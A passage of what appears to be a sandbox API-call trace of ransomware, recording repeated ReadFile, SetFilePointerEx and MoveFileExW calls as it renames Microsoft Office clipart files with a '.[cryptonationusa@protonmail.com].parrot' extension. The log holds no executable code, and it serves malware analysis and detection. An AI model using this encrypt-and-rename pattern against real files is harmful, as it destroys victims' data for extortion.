(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.756] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.758] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.758] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1224, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1224, lpOverlapped=0x0) returned 1 [0153.759] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.763] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.764] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.764] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bc0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bc0, lpOverlapped=0x0) returned 1 [0153.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.769] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.777] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.777] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x738, lpOverlapped=0x0) returned 1 [0153.777] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.784] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.784] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.787] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc68, lpOverlapped=0x0) returned 1 [0153.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0153.792] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.792] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.794] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.794] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf8c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf8c, lpOverlapped=0x0) returned 1 [0153.795] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0153.801] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.801] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.803] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.803] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf74, lpOverlapped=0x0) returned 1 [0153.803] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0153.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.808] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.809] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15bc, lpOverlapped=0x0) returned 1 [0153.810] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.814] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.814] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.817] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1da8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1da8, lpOverlapped=0x0) returned 1 [0153.818] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.822] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.822] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.824] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.824] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7dc, lpOverlapped=0x0) returned 1 [0153.824] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.826] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.829] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.829] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.830] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.830] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf72, lpOverlapped=0x0) returned 1 [0153.830] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0153.835] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.835] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.837] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9d2, lpOverlapped=0x0) returned 1 [0153.837] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.842] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.843] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.844] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.844] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x236, lpOverlapped=0x0) returned 1 [0153.845] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0153.848] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.848] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.850] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.850] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x66a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x66a, lpOverlapped=0x0) returned 1 [0153.850] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.855] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.855] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.856] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.856] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e02, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e02, lpOverlapped=0x0) returned 1 [0153.857] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.868] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0153.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0153.872] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.873] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, 